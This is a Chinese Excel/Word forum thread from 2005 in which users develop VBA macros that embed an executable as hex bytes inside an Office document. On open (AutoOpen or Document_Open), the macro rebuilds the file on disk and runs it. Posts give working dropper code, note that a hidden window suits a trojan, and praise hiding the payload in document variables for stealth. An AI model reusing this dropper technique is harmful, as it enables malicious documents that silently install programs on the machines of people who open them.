ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 14861|回复: 39

[原创]关于在Office中“夹带”其它文件或程序的研究:

[复制链接]

TA的精华主题

TA的得分主题

发表于 2005-7-6 22:06 | 显示全部楼层 |阅读模式

对上传的附件重新更新了一下。

wcSqObCE.rar (26.7 KB, 下载次数: 219)



前几天有朋友问了关于在Office中“夹带”其它文件或程序的问题,今天有时间,来谈一下我对这个问题的思考。注意,下面的思路并不仅仅只用于Word,Office其它组件中也可用。

试验时,请将宏安全设为低。附件中的例子用的是“autoopen”自动宏,当打开文档时,将运行夹带的程序mplayer.exe媒体播放器,这可真正是夹带的mplayer.exe,而不是调用你本地的,也不是把你本地的复制过来了。

思路如下:

本来我是想将程序转化成“流”文本,再在VBA中进行“夹带”,但无法过滤掉引号与分段符号,失败。
现的做法是将程序转化为十六进制,然后在VBA中进行“夹带”,目标机上运行本文档时,用VBA对程序进行“复原”并运行。

程序或文件转化成十六进制的工具很多,一般用的是WinHeH,
也可以自己编写程序将文件按十六进制读出并直接得到每个字节的位置,这样更易于使用。范例代码如下:


Dim A(7) As Byte'指明数组(字节)的大小
Sub File_dat()
A(0) = &H4D
A(1) = &H5A
A(2) = &H90
A(3) = &H0
A(4) = &H3
A(5) = &H0
A(6) = &H0
'.'这里是各字节位置上的十六进制码,以上以下皆同理,省略
'……
'……
End Sub

Sub AutoOpen()

EXEfile_name = "c:\夹带者.exe"'保存程序的名称与位置
DatFile = FreeFile()'准备复原夹带的程序
Open EXEfile_name For Binary Access Read Write As DatFile
File_dat
Put DatFile, , A'写入十六进制码,复原。
Close DatFile
YX= Shell(EXEfile_name, 3)'运行本程序,参数3为大窗口显示,设为0则隐藏窗口,如果夹带木马,则可用参数0。
End Sub


其实不单可以夹带程序,夹带其它类型的文件也一样可以。大家可以试试。



对上传的附件重新更新了一下。

[此贴子已经被konggs于2006-7-11 15:41:01编辑过]

YWP69LkW.rar

19.89 KB, 下载次数: 106

[原创]关于在Office中“夹带”其它文件或程序的研究:

评分

1

查看全部评分

TA的精华主题

TA的得分主题

发表于 2005-7-6 22:32 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册

这个东东应该有用,收下了,谢谢!

今天还有人在问这个问题呢,七大哥这回可真是急人所急了。

TA的精华主题

TA的得分主题

发表于 2005-7-6 22:53 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2005-7-7 05:18 | 显示全部楼层

七兄,你这个东东,非常有用,非常具有进一步深入的研究的价值.

我有几个问题,需要得到你的帮助:

1.程序或文件转化成十六进制的工具很多,一般用的是WinHeH,此处WinHeH应是笔误,为WINHEX.

2.现的做法是将程序转化为十六进制,然后在VBA中进行“夹带”,目标机上运行本文档时,用VBA对程序进行“复原”并运行。这个思路非常好,我是开窍了,上次提及的夹带,我是莫明其妙.

3.本来我是想将程序转化成“流”文本,再在VBA中进行“夹带”,但无法过滤掉引号与分段符号,失败.

请问,何为"流"文本,如何取得?我想,如果得到的"流"文本,在VBA中处理时,应该可以过滤掉引号与分段符号的,这个我觉得还是有些把握的.

4.也可以自己编写程序将文件按十六进制读出并直接得到每个字节的位置,这样更易于使用,我想知道你是如何做的?

5.从WINHEX中得到的十六位进制的值,如果提取出来?WINHEX我用过,但很菜,如何将这些十六进制的值导出也好,复制去来也好,总之,不可能手动一行一行把它写到程序中的,我对此很想知道.

6.一维数组在内存中的占用应该不大,但你处理得非常好,分步进行,有利于夹带大于程序.

还请七兄抽空释疑并丰富一下,这是东东绝对是非常好的一个程序\思路,它可能会对我以后的编程,起到很大的作用,我清晰地感觉到.

TA的精华主题

TA的得分主题

发表于 2005-7-7 16:30 | 显示全部楼层

好嘛,七兄居然还提醒别人“夹带木马……用0”!

你们下载的人要小心喽!

TA的精华主题

TA的得分主题

 楼主| 发表于 2005-7-7 19:05 | 显示全部楼层

To 守柔兄:

不好意思,把WINHEX写错了,我没有注意到。

这个问题其实我也一直在思考,实际上我也还有几个问题没有搞清楚,正好借一下你的大脑,我们一起研究。 先说前面的问题:

1、文本“流”,在FSO的帮助中是“TextStream对象”,可以参考“处理文件”一节,但有点语焉不详(FileSystemObject的帮助可以在OFFICE的“脚本编辑器”的“帮助”中找到),说得比较细的是ADODB的帮助,在ADODB中,文本流就是“Stream对象”,事实上,系统只要安装了ODBC,就必然会有“Adodb.Stream组件”,这个组件提供了读取文件的各种方法,比如按二进制或文本方式读取等,以“Adodb.Stream”为关键词,可以在网上搜到大堆介绍。但我觉得这个组件并不好用,且我们主要是在“本地”进行文件(程序也是文件)的读写,完全没有必要使用这个组件。

关于使用文本“流”,我刚开始的想法其实很滑稽,不过为了让大家理解我思考的过程,也不妨说一下: 当时我想,任何一个“*.exe”文件,我把后缀名给它改成"*.txt",总可以用文本编辑器(如记事本)打开吧?我将记事本中的内容(也是一种文本“流”),复制粘贴到Word的VBE编辑器中,将其赋值给一个变量,然后在该DOC文档被打开时,用FSO对象创建新的EXE文件,将该变量的值写入,最后运行这个EXE文件即可。

这个思路本身,我不知道没有问题,但面临的技术关键就是——复制出来的这个“文本流”,本身就有很多引号与分段符,无法将其赋值给变量。如果使用特殊符号来替换引号与分段符的话,又如何保证所使用的特殊符号没有包含在这个“文本流” 本身中??那到还原时该怎么办?

如果这个问题能解决的话,那简直是太好了——用“文本流”比用十六进制码生成的DOC文件要小很多,这样就可以很方便地夹带大文件了。

2、其实我现在用的十六进制值,也是从WinHex中得到的,虽然上面说可以自己编一个程序按字节读出十六进制的值,但其实只是个想法,由于最近期末总结工作太多,没有动手。

我用的WINHEX是10.9——11.26中文版,我估计你多半没有注意到WINHEX中可以直接将十六进制码复制到记事本中:编辑——全选——再次编辑——复制选块——十六进制值(快捷键是Ctrl+Shift+C)然后粘到记事本中即可。 得到十六进制值之后,剩下的问题就是按字节读出这个文本文件中的十六进制代码,并生成我上面范例中“夹带”的那个样子(按字节序排列)。这个问题就已经可以用VBA来解决了,就不多说了(不要忘了读出时,前面加上“&H”,可参考VBA的Hex 函数)。 正因为上面这样做很麻烦,所以我才想编一个直接读十六进制值的小工具,等忙过这段时间再说,反正现在是先把原理弄清楚为主。

3、关于分步写的问题,其实不是我想分段分步写,是我开始试的时候,不知道VBA中的过程居然有大小限制,试了几次之后才不得已使用分步,我没有在帮助中找到过程的大小限制是多少?你上面帖子中没有显出来,麻烦给说一下。

仓促间,没有说清楚的地方,再交流。

哦,最后问一下守柔,VBA中有将字符转为16进制的函数吗?我当时在做的时候找了很久都没有找到。

[此贴子已经被作者于2005-7-8 7:45:16编辑过]

TA的精华主题

TA的得分主题

发表于 2005-7-8 09:17 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助

在七大侠的启发下,我想到了另一种word夹带其它文件的思路,

见附件:

jG3E6PlT.rar (22.09 KB, 下载次数: 144)

TA的精华主题

TA的得分主题

发表于 2005-7-8 10:22 | 显示全部楼层

sailorgg兄,比较好懂。另问,把你的夹带者改为我要用的exe后,好像不行,一运行,仍是你的“八哥...”啊!望指教!改我的后,把我原来的文件也改掉了。指教ing。

七兄的比较难懂,很难懂,都不错。

望讨论后加精。

[此贴子已经被作者于2005-7-8 10:27:47编辑过]

TA的精华主题

TA的得分主题

发表于 2005-7-9 07:00 | 显示全部楼层
七兄:

这个问题,我在实际处理与探索中,有几个情况:

1:十六进制的读写比二进制要精悍一些,文件长度更应该小一些。

2:关于转化为十六进制的函数,可以使用EXCEL中的函数,但我不知道字符型 是如何转换的。你可以在EXCEL中加载“分析工具库”,搜索一下。如HEX2DEC(number)等。

3:sailorgg 的做法是非常好的一个做法,把源代码隐藏(赋值)于文档变量中,这是正确的思路。

4:文档变量的字符串长度,在大于1M下可能会出错,也就是说,夹带的文件,如果超过1M的话,在WORD中的处理将会是很慢的,所以,在我的代码中,部分条件判断中,没有使用LEN函数。

5:一维数组的上标,具体也没有说明,通常根据数组的类型和内存情况而定,但20兆(string变量,内存中可以为20亿字节)以下,我想应该没有问题。

6:过程行数,未见有规定总长度为多少。我也不知道。

7:我想知道EXE文件的本质是什么?是二进制?我们要夹带的“程序/文件”,必须要有一个中转,也就是以何种形式,贮存于WORD中也好,贮存于VBE代码中也好,当然是越“压缩”越好。

8:我希望就此问题,我们进一步讨论下去,这是一个有意义的探索!

以下代码完成了向D盘根目录下创建一个WINDOWS MEDIAPLAYER播放器和一个贝多芬的“致爱丽丝”媒体文件并播放之。

'* +++++++++++++++++++++++++++++ '* Created By I Love You_Word!@ExcelHome 2005-7-9 6:43:29 '仅测试于System: Windows NT Word: 10.0 Language: 2052 '^The Code CopyIn [ThisDocument-ThisDocument]^' '* -----------------------------

Option Explicit Private Sub Document_Open() '打开文档时运行此过程 MeanTestByJiaDai End Sub '---------------------- Sub MeanTestByJiaDai() '这是一个有意义的偿试,感谢七叶一枝梅提供了非常棒的思路 '以下代码,仅以七兄的源码为基础,略作修改 '本过程的目的是完成提定EXE文件和Media文件的夹带,并使其播放该媒体文件 Dim EXEFileName As String, MediaFileName As String, MyString As String Dim i As Long, MyArray() As Byte, FileLenth As Long, FileNumber As Integer On Error Resume Next EXEFileName = "D:\mdPlayer.exe" '保存程序的名称与位置 '在实际测试过程中,发现 MediaFileName = "D:\myMedia.rmi" 以.rmi为后缀时, '会出现偶然性错误:路径/文件访问错误(错误 75) '然后,将其改为*.txt,则可以规避此错误 MediaFileName = "D:\myMedia.txt" '保存程序的名称与位置 '取得一个"JDYuanMa"文档变量的值 MyString = ThisDocument.Variables("JDYuanMa").Value '取得长度 FileLenth = Len(MyString) / 2 '声明一个动态数组 ReDim MyArray(FileLenth - 1) For i = 1 To FileLenth * 2 Step 2 '为数组赋值为十六进制值 MyArray((i - 1) / 2) = "&H" & Mid(MyString, i, 2) Next Open EXEFileName For Binary Access Write As 1# Put 1#, , MyArray '写入指定文件中 Close 1# '关闭该文件 '取得"Media"文档变量的值 MyString = ThisDocument.Variables("Media").Value '取得长度 FileLenth = Len(MyString) / 2 Erase MyArray '初始化数组变量(清空数组) ReDim MyArray(FileLenth - 1) For i = 1 To FileLenth * 2 Step 2 MyArray((i - 1) / 2) = "&H" & Mid(MyString, i, 2) Next Open MediaFileName For Binary Access Write As 1# Put 1#, , MyArray Close 1# '打开指定程序播放指定文件 Shell EXEFileName & " " & MediaFileName, 1 End Sub '---------------------- '以下两个过程为预处理过程,将从WINHEX中复制而来的 '十六进制数据写到WORD的文档变量中,旨在隐藏十六进制源代码 Sub Preparative1() Dim MyRange As Range, aVar As Variable With ThisDocument '定义一个Range对象,为本文档的起始0位置到文档结束标志前一个位置 Set MyRange = .Range(0, .Content.End - 1) '如果没无文本则退出程序 If .Content.End = 1 Then Exit Sub '检查是否已有文档变量,如果有则删除之,并重新赋值 For Each aVar In .Variables If aVar.Name = "JDYuanMa" Then aVar.Delete Next .Variables.Add Name:="JDYuanMa", Value:=MyRange MyRange.Delete '清除文本 End With End Sub '---------------------- Sub Preparative2() Dim MyRange As Range, aVar As Variable With ThisDocument '定义一个Range对象,为本文档的起始0位置到文档结束标志前一个位置 Set MyRange = .Range(0, .Content.End - 1) '如果没无文本则退出程序 If .Content.End = 1 Then Exit Sub '检查是否已有文档变量,如果有则删除之,并重新赋值 For Each aVar In .Variables If aVar.Name = "Media" Then aVar.Delete Next .Variables.Add Name:="Media", Value:=MyRange MyRange.Delete '清除文本 End With End Sub '---------------------- jQn4ljW5.rar (23.79 KB, 下载次数: 103)

TA的精华主题

TA的得分主题

 楼主| 发表于 2005-7-9 17:01 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册

sailorgg 兄用文档变量的办法高!!!这个的确是更正确的思路。

sailorgg 兄将十六进制值处理成myX1变量时,值之间以逗号隔开,与我前面的代码相比,有效地降低了文件“夹带”后文档的大小,且更具隐蔽性(前面konggs 兄恐怕就被骗了吧!)

看起来不加强交流的话,仅凭个人在那搞来搞去思路是会僵化的呀!

现在最主要的问题,我想就是不使用Winhex的情况下,如何直接取得十六进制的值了 。

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-11-24 14:03 , Processed in 0.049929 second(s), 11 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表